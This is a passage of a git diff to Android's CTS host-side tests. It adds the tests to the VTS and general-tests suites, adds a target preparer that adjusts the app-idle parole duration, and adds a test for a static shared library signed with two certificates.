} else {
+ dumpOnFailure();
fail("Timed out waiting for network availability status from app2 (" + mUid + ")");
}
} else {
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java
index 0893511..0132536 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java
@@ -19,6 +19,7 @@
import android.app.PendingIntent;
import android.app.PendingIntent.CanceledException;
import android.app.RemoteInput;
+import android.content.ComponentName;
import android.os.Bundle;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
@@ -74,6 +75,11 @@
MyNotificationListenerService.class.getName());
}
+ static ComponentName getComponentName() {
+ return new ComponentName(MyNotificationListenerService.class.getPackage().getName(),
+ MyNotificationListenerService.class.getName());
+ }
+
private static final class PendingIntentSender {
private PendingIntent mSentIntent = null;
private String mReason = null;
diff --git a/hostsidetests/net/app2/Android.mk b/hostsidetests/net/app2/Android.mk
index 706455d..9a4a30f 100644
--- a/hostsidetests/net/app2/Android.mk
+++ b/hostsidetests/net/app2/Android.mk
@@ -30,6 +30,6 @@
LOCAL_DEX_PREOPT := false
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java b/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java
new file mode 100644
index 0000000..9b19554
--- /dev/null
+++ b/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.net;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.targetprep.ITargetCleaner;
+import com.android.tradefed.targetprep.ITargetPreparer;
+
+public class NetPolicyTestsPreparer implements ITargetPreparer, ITargetCleaner {
+ private final static String KEY_PAROLE_DURATION = "parole_duration";
+ private final static String DESIRED_PAROLE_DURATION = "0";
+
+ private boolean mAppIdleConstsUpdated;
+ private String mOriginalAppIdleConsts;
+
+ @Override
+ public void setUp(ITestDevice device, IBuildInfo buildInfo) throws DeviceNotAvailableException {
+ updateParoleDuration(device);
+ LogUtil.CLog.d("Original app_idle_constants: " + mOriginalAppIdleConsts);
+ }
+
+ @Override
+ public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable throwable)
+ throws DeviceNotAvailableException {
+ if (mAppIdleConstsUpdated) {
+ executeCmd(device, "settings put global app_idle_constants " + mOriginalAppIdleConsts);
+ }
+ }
+
+ /**
+ * Updates parole_duration with the desired value.
+ */
+ private void updateParoleDuration(ITestDevice device) throws DeviceNotAvailableException {
+ mOriginalAppIdleConsts = executeCmd(device, "settings get global app_idle_constants");
+ String newAppIdleConstants;
+ final String newConstant = KEY_PAROLE_DURATION + "=" + DESIRED_PAROLE_DURATION;
+ if (mOriginalAppIdleConsts == null || "null".equals(mOriginalAppIdleConsts)) {
+ // app_idle_constants is initially empty, so just assign the desired value.
+ newAppIdleConstants = newConstant;
+ } else if (mOriginalAppIdleConsts.contains(KEY_PAROLE_DURATION)) {
+ // app_idle_constants contains parole_duration, so replace it with the desired value.
+ newAppIdleConstants = mOriginalAppIdleConsts.replaceAll(
+ KEY_PAROLE_DURATION + "=\\d+", newConstant);
+ } else {
+ // app_idle_constants didn't have parole_duration, so append the desired value.
+ newAppIdleConstants = mOriginalAppIdleConsts + "," + newConstant;
+ }
+ executeCmd(device, "settings put global app_idle_constants " + newAppIdleConstants);
+ mAppIdleConstsUpdated = true;
+ }
+
+ private String executeCmd(ITestDevice device, String cmd)
+ throws DeviceNotAvailableException {
+ final String output = device.executeShellCommand(cmd).trim();
+ LogUtil.CLog.d("Output for '%s': %s", cmd, output);
+ return output;
+ }
+}
diff --git a/hostsidetests/numberblocking/Android.mk b/hostsidetests/numberblocking/Android.mk
index 42c7169..d57a0d9 100644
--- a/hostsidetests/numberblocking/Android.mk
+++ b/hostsidetests/numberblocking/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsHostsideNumberBlockingTestCases
diff --git a/hostsidetests/numberblocking/app/Android.mk b/hostsidetests/numberblocking/app/Android.mk
index 5755f84..cfbccbe 100644
--- a/hostsidetests/numberblocking/app/Android.mk
+++ b/hostsidetests/numberblocking/app/Android.mk
@@ -27,10 +27,10 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test legacy-android-test
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsHostsideNumberBlockingAppTest
diff --git a/hostsidetests/os/Android.mk b/hostsidetests/os/Android.mk
index e54703e..1b806c9 100644
--- a/hostsidetests/os/Android.mk
+++ b/hostsidetests/os/Android.mk
@@ -28,7 +28,7 @@
LOCAL_CTS_TEST_PACKAGE := android.host.os
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/os/app/Android.mk b/hostsidetests/os/app/Android.mk
index 86c109e..bc70dec 100644
--- a/hostsidetests/os/app/Android.mk
+++ b/hostsidetests/os/app/Android.mk
@@ -24,7 +24,7 @@
LOCAL_SDK_VERSION := current
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDeviceOsTestApp
diff --git a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
index 549fdc0..ad27051 100644
--- a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
@@ -56,6 +56,9 @@
private static final String STATIC_LIB_PROVIDER6_APK = "CtsStaticSharedLibProviderApp6.apk";
private static final String STATIC_LIB_PROVIDER6_PKG = "android.os.lib.provider";
+ private static final String STATIC_LIB_PROVIDER7_APK = "CtsStaticSharedLibProviderApp7.apk";
+ private static final String STATIC_LIB_PROVIDER7_PKG = "android.os.lib.provider";
+
private static final String STATIC_LIB_NATIVE_PROVIDER_APK =
"CtsStaticSharedNativeLibProvider.apk";
private static final String STATIC_LIB_NATIVE_PROVIDER_PKG =
@@ -72,6 +75,9 @@
private static final String STATIC_LIB_CONSUMER2_APK = "CtsStaticSharedLibConsumerApp2.apk";
private static final String STATIC_LIB_CONSUMER2_PKG = "android.os.lib.consumer2";
+ private static final String STATIC_LIB_CONSUMER3_APK = "CtsStaticSharedLibConsumerApp3.apk";
+ private static final String STATIC_LIB_CONSUMER3_PKG = "android.os.lib.consumer3";
+
private static final String STATIC_LIB_NATIVE_CONSUMER_APK
= "CtsStaticSharedNativeLibConsumer.apk";
private static final String STATIC_LIB_NATIVE_CONSUMER_PKG
@@ -447,6 +453,27 @@
}
}
+ public void testLoadCodeAndResourcesFromSharedLibrarySignedWithTwoCerts()
+ throws Exception {
+ getDevice().uninstallPackage(STATIC_LIB_CONSUMER3_PKG);
+ getDevice().uninstallPackage(STATIC_LIB_PROVIDER7_PKG);
+ try {
+ // Install the library
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ STATIC_LIB_PROVIDER7_APK), false, false));
+ // Install the client
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ STATIC_LIB_CONSUMER3_APK), false, false));
+ // Try to load code and resources
+ runDeviceTests(STATIC_LIB_CONSUMER3_PKG,
+ "android.os.lib.consumer3.UseSharedLibraryTest",
+ "testLoadCodeAndResources");
+ } finally {
+ getDevice().uninstallPackage(STATIC_LIB_CONSUMER3_PKG);
+ getDevice().uninstallPackage(STATIC_LIB_PROVIDER7_PKG);
+ }
+ }
+
private void runDeviceTests(String packageName, String testClassName,
String testMethodName) throws DeviceNotAvailableException {
RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
diff --git a/hostsidetests/os/test-apps/Android.mk b/hostsidetests/os/test-apps/Android.mk
index 4afd486..bd94fb5 100644
--- a/hostsidetests/os/test-apps/Android.mk
+++ b/hostsidetests/os/test-apps/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
# Build the test APKs using their own makefiles
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
index 7ab0433..bd7eb5f 100644
--- a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
+++ b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
@@ -24,6 +24,6 @@
LOCAL_PACKAGE_NAME := CtsHostLinkVerificationApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk b/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
index f7b98c3..d3edc43 100644
--- a/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
+++ b/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
@@ -26,6 +26,6 @@
LOCAL_PACKAGE_NAME := CtsHostProcfsTestApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
index a333d42..9d0d001 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
@@ -30,6 +30,6 @@
LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp1
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
index 9ca8a95..dca3699 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
@@ -59,7 +59,7 @@
public void testSharedLibrariesProperlyReported() throws Exception {
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), "appops set "
+ InstrumentationRegistry.getInstrumentation().getContext().getPackageName()
- + " " + AppOpsManager.OP_REQUEST_INSTALL_PACKAGES + " " + "allow");
+ + " REQUEST_INSTALL_PACKAGES allow");
try {
List<SharedLibraryInfo> sharedLibs = InstrumentationRegistry.getContext()
@@ -172,7 +172,7 @@
} finally {
SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), "appops set "
+ InstrumentationRegistry.getInstrumentation().getContext().getPackageName()
- + " " + AppOpsManager.OP_REQUEST_INSTALL_PACKAGES + " " + "default");
+ + " REQUEST_INSTALL_PACKAGES default");
}
}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
index 9c2efaf..0c7351a 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
@@ -27,6 +27,6 @@
LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp2
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
new file mode 100644
index 0000000..71f9e8c
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp7
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibConsumerApp3
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
new file mode 100755
index 0000000..daddbc6
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.os.lib.consumer3"
+ android:versionCode="2"
+ android:versionName="3.0">
+
+ <application>
+ <uses-static-library
+ android:name="foo.bar.lib"
+ android:version="5"
+ android:certDigest="70:FB:D4:40:50:3E:C0:BF:41:F3:F2:1F:CC:83:FF:D3:98:80:13:3C:27:DE:B0:94:5E:D6:77:C6:F3:1D:72:FB">
+ <additional-certificate android:certDigest="E4:95:82:FF:3A:0A:A4:C5:58:9F:C5:FE:AA:C6:B7:D6:E7:57:19:9D:D0:C6:74:2D:F7:BF:37:C2:FF:EF:95:F5"/>
+ </uses-static-library>
+ </application>
+
+ <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.os.lib.consumer3"/>
+
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java
new file mode 100644
index 0000000..a57207f
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.consumer3;
+
+import android.os.lib.provider.StaticSharedLib;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertSame;
+
+@RunWith(AndroidJUnit4.class)
+public class UseSharedLibraryTest {
+ @Test
+ public void testLoadCodeAndResources() throws Exception {
+ assertSame(10, StaticSharedLib.getVersion(InstrumentationRegistry.getContext()));
+ }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
index 8a46932..2e2a5e4 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp1/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
index 41d1eec..9a3da9b 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp2/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS := --shared-lib
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
index 0be0049..61adc17 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp3/Android.mk
@@ -23,7 +23,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS := --shared-lib
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
index e5becb5..0205259 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp4/Android.mk
@@ -25,7 +25,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
index bfe894a..1251f8b 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp5/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS := --shared-lib
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
index 335cce9..2e5dc56 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp6/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS := --shared-lib
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.mk
new file mode 100644
index 0000000..074cae3
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/Android.mk
@@ -0,0 +1,39 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsStaticSharedLibProviderApp7
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
+
+LOCAL_ADDITIONAL_CERTIFICATES := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_AAPT_FLAGS := --shared-lib
+
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/AndroidManifest.xml
new file mode 100755
index 0000000..4709e10
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.os.lib.provider"
+ android:versionCode="5"
+ android:versionName="5.0">
+ <application android:hasCode="false">
+ <static-library android:name="foo.bar.lib" android:version="5"/>
+ </application>
+</manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/res/values/integers.xml b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/res/values/integers.xml
new file mode 100644
index 0000000..e9e99e1
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/res/values/integers.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources>
+ <integer name="version">10</integer>
+</resources>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/src/android/os/lib/provider/StaticSharedLib.java b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/src/android/os/lib/provider/StaticSharedLib.java
new file mode 100644
index 0000000..9b5736f
--- /dev/null
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderApp7/src/android/os/lib/provider/StaticSharedLib.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.lib.provider;
+
+import android.content.Context;
+
+public class StaticSharedLib {
+ public static int getVersion(Context context) {
+ return context.getResources().getInteger(android.os.lib.provider.R.integer.version);
+ }
+}
diff --git a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk
index 5058191..69ed15f 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibProviderAppRecursive/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
index da53850..54ebdd1 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
@@ -31,7 +31,7 @@
LOCAL_MULTILIB := both
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
index bc09dc4..3d48af2 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider/Android.mk
@@ -20,13 +20,11 @@
LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibprovider
LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibProvider
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
index 0abc351d..fee38a7 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibProvider1/Android.mk
@@ -20,13 +20,11 @@
LOCAL_MODULE_TAGS := tests
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibprovider
LOCAL_PACKAGE_NAME := CtsStaticSharedNativeLibProvider1
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/sample/Android.mk b/hostsidetests/sample/Android.mk
index bfdaeda..bc821ae 100644
--- a/hostsidetests/sample/Android.mk
+++ b/hostsidetests/sample/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsSampleHostTestCases
diff --git a/hostsidetests/sample/app/Android.mk b/hostsidetests/sample/app/Android.mk
